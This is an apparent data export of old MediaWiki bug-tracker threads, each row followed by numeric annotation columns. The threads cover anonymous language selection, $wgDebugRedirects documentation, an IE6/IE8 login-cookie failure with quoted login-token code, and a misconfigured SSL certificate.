+163164,enable setting language preference without requiring login,"I'm just going to mark this as fixed. ULS provides this functionality, and there is no mention about WMF where this functionality cannot currently be enabled.",,,1383291886,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+163160,enable setting language preference without requiring login,There are some efforts going on designing a language selector UI  by integrating language tools to it. See https://www.mediawiki.org/wiki/Universal_Language_Selector for a draft specification.,,,1326343543,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+163156,enable setting language preference without requiring login,"By database I mean e.g., a ham radio frequency database or a database of Latin names for plants, etc. that the owner has chosen to use MediaWiki as the platform.
+I.e., the content is just numbers or other language neutral items, so why can't the interface (MediaWiki) be language neutral from click 1?",,,1326342907,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+163153,enable setting language preference without requiring login,"(In reply to comment #6)
+> There's a major difference between Wikipedia and those sites you listed
+So how would you suggest owners of read-only databases who would like
+their database to be accessible in more than one language proceed? Hack
+up some xx.example.com massive redirect nightmare? One can't always
+assume ""well the content has that problem too"" so there is no need to
+make the interface accessible. I mean I keep reading about the efforts
+to make things internationally accessible, e.g.,
+http://blog.wikimedia.org/2012/01/09/end-of-sprint-6-translate-and-other-goodies/
+but at the same time there is no path in ones language from a MediaWiki
+Main Page through the many steps to set up the correct preference... if
+indeed a given MediaWiki allows logging in in the first place.",,,1326342693,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+163148,enable setting language preference without requiring login,"just a slight note from the IRC channel, for anyone that may want to attempt this:
+
+> [11:31] <p858snake|l> brion: I believe commons tried to do it a cache friendly way and couldn't get it to work properly for anons (although we have a slightly more complicated cache setup than normal)
+> [11:33] <brion> p858snake|l, yeah the ""right"" way is to make the frontend a javascript app that uses the api, and only has to fetch UI messages once etc ;)",,,1326342445,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+163144,enable setting language preference without requiring login,"There's a major difference between Wikipedia and those sites you listed: Wikipedia has different sites for contents in different languages, and those websites have an only global site with contents in mixed language.
+
+So on those websites, people using completely different language use the same site, so it's important to provide a language selector. While on Wikipedia, normally (I mean, except for those people doing crosswiki work) only people who know the content language come to the site and since the interface language defaults to the content language, it's safe to assume that people can understand the default interface language.
+
+However it can be useful for wikis with mixed contents, eg, http://wikimediafoundation.org/wiki/Home .",,,1326341879,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+163139,enable setting language preference without requiring login,"(In reply to comment #4)
+No worry, I'm with the 99% on this issue. What's good for the real sites is good for me!",,,1326333087,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1
+163135,enable setting language preference without requiring login,This would be absolutely trivial to do in a cache-friendly way... in a sufficiently redone JavaScript application UI. But I don't think jidanni would find it to work in lynx. :),,,1326331662,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,True,,,-85,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+163131,enable setting language preference without requiring login,"We currently have 380 languages, So you would need to store a cache for each
+one of those languages (depending on your setup), You would need a nice
+language selector.
+
+Although I don't see the need in most cases, Since in most wikis I have come
+access, The user language is usually the same as the content language.",,,1326330747,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+163124,enable setting language preference without requiring login,http://www.google.com/ 's approach is somewhat different... but still usually there at the bottom of the page.,,,1326330351,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+163114,enable setting language preference without requiring login,"There remains the question of how to exactly design a language
+selector that everybody can understand. All I can say is the
+aforementioned ""real websites"" offer very good examples there on the
+footers of their pages!",,,1326330236,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0
+35554,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,"**Author:** `pakseykin`
+
+**Description:**
+Setting ""$wgDebugRedirects = true"" in ""LocalSettings.php"" does not work as it described by the documentation:
+http://www.mediawiki.org/wiki/Manual:$wgDebugRedirects
+If redirected page is accessed using original URL, the redirect still happens automatically.
+
+It is either (1) problem with the code or (2) lack of explanation in documentation.
+
+STEPS TO REPRODUCE:
+
+1. I have a MediaWiki instance installed into (similar) URL:
+http://example.com/content/
+
+2. I created a page which is directly accessible through:
+http://example.com/content/index.php?title=Initial
+
+3. Then I redirected (moved leaving a redirect) the page giving it new name:
+http://example.com/content/index.php?title=Moved
+
+4. Then I enabled (""$wgDebugRedirects = true;"" in LocalSettings.php) the feature to disable automatic redirects. According to the documentation, this should disable redirects and show new location instead.
+
+4.1 EXPECTED RESULT:
+In the example above, when I enter the first URL, the wiki engine should not show content of the page. It should simply show a some kind of auto-message with a link to the new ""Moved"" page.
+
+4.2 OBSERVED RESULT:
+When the first URL is used, the wiki engine still redirects the page showing its content. In other words, it behaves as if there were no changes to ""$wgDebugRedirects"" variable.
+
+--------------------------
+**Version**: 1.18.x
+**Severity**: minor",Medium,50.0,1325847000,1325892770.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_description,invalid,True,c2,1,False,False,True,-86,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+155580,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,Documentation clarified (yay its a wiki!),,,1325892770,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+155577,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,"**pakseykin** wrote:
+
+Niklas, let me elaborate on this as I understand it.
+
+If the following is correct, the bug can be closed. But I think documentation
+should be clarified then. What I was trying to do is to disable the ""Wiki logic
+level"" redirects.
+
+--- HTTP level
+The ""$wgDebugRedirects"" variable controls the action when MediaWiki is about to
+generate 301 HTTP reply:
+* When ""$wgDebugRedirects = false"" (default), it actually generates HTTP 301
+reply to trigger redirection.
+* When ""$wgDebugRedirects = true"", it generates regular HTTP 200 reply
+(success) providing web page with link.
+
+--- Wiki logic level
+Word ""redirect"" in MediaWiki has additional meaning: provide content of the
+page normally accessed through a different name. In the case of such redirect, no
+HTTP 301 reply is attempted, and MediaWiki simply provides content of another
+page right away using HTTP 200 reply.",,,1325848343,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+155572,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,The case you describe isn't actually a redirection. The setting only affects real HTTP redirects.,,,1325847165,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+35503,Cannot login using IE6 and/or IE8,"**Author:** `free4spams`
+
+**Description:**
+No matter what login to use, it still request to enable cookie
+
+I have hard time to login using IE6 (OS WinXP SP3), login page keep telling me to enable cookie, and I already enable cookie in IE6. I tried the configuration using WAMP.
+I knew IE6 is so damn old already, but working under corporate and decentralize users hard to upgrade this old browser, and users also did not have any internet connection.
+Is there any workaround or suggestion regarding this issue? I had no problem in using modern browser, ie chrome, firefox and opera.
+
+My IE6 only using Google Chrome Frame installed as addon. Fiddler addon is later installed.
+
+--------------------------
+**Version**: 1.18.x
+**Severity**: normal
+
+**Attached**: {F8740}",Medium,50.0,1325649480,1424102860.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-pxjowzpofhdln4timevf,task_description,invalid,True,c2,1,False,False,False,-86,True,1,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+412221,Cannot login using IE6 and/or IE8,Not reproducible.,,,1424102860,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,3,True,,,76,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+162460,Cannot login using IE6 and/or IE8,"**swalling** wrote:
+
+Is this still an issue? Also, some comments suggest that it's not specific to IE6, and so the bug title seems misleading.",,,1397030305,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,3,False,,,32,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+162455,Cannot login using IE6 and/or IE8,"**zhuxin.yang** wrote:
+
+I think I met the same problem. I have a mediawiki setup, but IE8 login will always fail with the cookie error, while other browsers like firefox, chrome are all ok.
+
+One more strange thing is that st my side when use IP address link to login with IE, it works. But use DNS names it failed. (eg use IE to login http://xx.xx.xx.xx/mediawiki is ok, but login http://abc.def.com/mediawiki will fail)
+
+I'm sorry I can't provide a link either as it's on my company's intranet. But I believe there must be some hidden bug in MediaWiki code that has IE compatibility issue (for me it's 100% reproducible), and probably start happening after 1.16 version with CSRF fixes added.
+
+I did a little debug and looking into code at SpecialUserLogin.php function authenticateUserData:
+
+                // If the user doesn't have a login token yet, set one.
+                if ( !self::getLoginToken() ) {
+                        self::setLoginToken();
+                        return self::NEED_TOKEN;
+                }
+                // If the user didn't pass a login token, tell them we need one
+                if ( !$this->mToken ) {
+                        return self::NEED_TOKEN;
+                }
+
+                $throttleCount = self::incLoginThrottle( $this->mUsername );
+                if ( $throttleCount === true ) {
+                        return self::THROTTLED;
+                }
+
+                // Validate the login token
+                if ( $this->mToken !== self::getLoginToken() ) {
+                        return self::WRONG_TOKEN;
+                }
+
+When I login with IE, it stops at the first if statement and returned NEED_TOKEN. That's why I saw the ""Cookie disabled"" message.
+
+I'm not an PHP expert and not quite understand what it's doing here, but I feel if user doesn't have a login token, then set one should work rather than just stop and return an error. So I comment out the return line and try, then it fails at the validate token part and returns WRONG_TOKEN.
+
+If I even comment out the return self::WRONG_TOKEN line, it will go on and finally still fail and prompt me incorrect password (though my password is correct).
+
+Hope somebody and look at this and get it fixed. Thanks.
+
+By the way I'm using LDAP authentication extension, and nothing other special in LocalSettings.php.",,,1326162649,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+162447,Cannot login using IE6 and/or IE8,"I used your LocalSettings.php file and an instance of IE8 on http://winkyfrown.com/wiki/ and I *think* I saw this bug once or twice, but it seems to be very sporadic.",,,1326135468,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+162439,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+Please see my attachments for localsettings file and version with extension page. I'm really sorry, but you can't access the wiki, as it is local machine and I'm using laptop as my development machine.",,,1325931642,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+162432,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+version and extensions
+
+**Attached**: {F8743}",,,1325931502,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+162427,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+LocalSettings
+
+LocalSettings file
+
+**Attached**: {F8742}",,,1325931087,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+162421,Cannot login using IE6 and/or IE8,"Could you provide us with a URL to see your wiki?
+
+Otherwise, what extensions are you using?  What does Special:Version say?  What is in your LocalSettings.php?",,,1325865531,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+162417,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+If let say it is my mediawiki configuration not right, any hint which configuration is not supported by IE?
+I already disable HttpOnly as I see from google not quite compatible with IE6-7.
+
+If let say it is my IE configuration not right, I can login into our own private bugtracker system without any problem and it using cookies also to track user login and session. 
+
+BTW, while testing login mediawiki using IE(6&8), I already lower the privacy into lowest level to accept all cookie.",,,1325745378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,0
+162412,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+Console logging shows no error
+
+**Attached**: {F8741}",,,1325745011,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+162407,Cannot login using IE6 and/or IE8,"(In reply to comment #3)
+> > But it did not happen when using other than IE browser (even on IE8 too)
+> 
+> Sorry, what i meant is even in IE8 also didnt work, same message error with
+> IE6.
+
+IE8 at least has a debugger.  Hit F12 and see if any errors show up on the Script tab (http://stackoverflow.com/questions/1648582/equivalent-of-firefoxs-error-console-in-other-browsers).
+
+I really suspect this is something in your own configuration since we would have heard about this by now if it was more widespread.",,,1325738140,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+162400,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+> But it did not happen when using other than IE browser (even on IE8 too)
+
+Sorry, what i meant is even in IE8 also didnt work, same message error with IE6.",,,1325724901,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+162395,Cannot login using IE6 and/or IE8,"**free4spams** wrote:
+
+(In reply to comment #1)
+> Are you sure this is not a problem specific to the wiki you're trying to log in
+> on? Such error message can be the result of a bad setup on the server side
+> (like an unwritable session.save_path).
+
+""Is there any workaround or suggestion regarding this issue? I had no problem in
+using modern browser, ie chrome, firefox and opera.""
+
+But it did not happen when using other than IE browser (even on IE8 too). If let's say it is due to server configuration, how to set it up (any guides or hints)? FYI, I'm using windows environment and WAMP stack.",,,1325724659,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+162391,Cannot login using IE6 and/or IE8,Are you sure this is not a problem specific to the wiki you're trying to log in on? Such error message can be the result of a bad setup on the server side (like an unwritable session.save_path).,,,1325695200,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+35301,Bad SSL cert at integration.mediawiki.org,"Split out from bug 29550:
+
+
+          integration.mediawiki.org uses an invalid security certificate.
+
+The certificate is only valid for the following names:
+  *.wikimedia.org , wikimedia.org  
+
+(Error code: ssl_error_bad_cert_domain)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://integration.mediawiki.org/testswarm/",Medium,50.0,1324490280,1324564550.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_description,resolved,True,c2,1,True,False,True,-88,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+159101,Bad SSL cert at integration.mediawiki.org,(merging Continuous Integration into Testing Infrastructure),,,1325631155,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-87,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+159096,Bad SSL cert at integration.mediawiki.org,And https://gerrit.wikimedia.org/r/1732 which adds SSLCACertificateFile to fix cert verification,,,1325093594,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-87,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+159091,Bad SSL cert at integration.mediawiki.org,Change deployed.,,,1324564550,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-88,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+159088,Bad SSL cert at integration.mediawiki.org,"Well spotted!
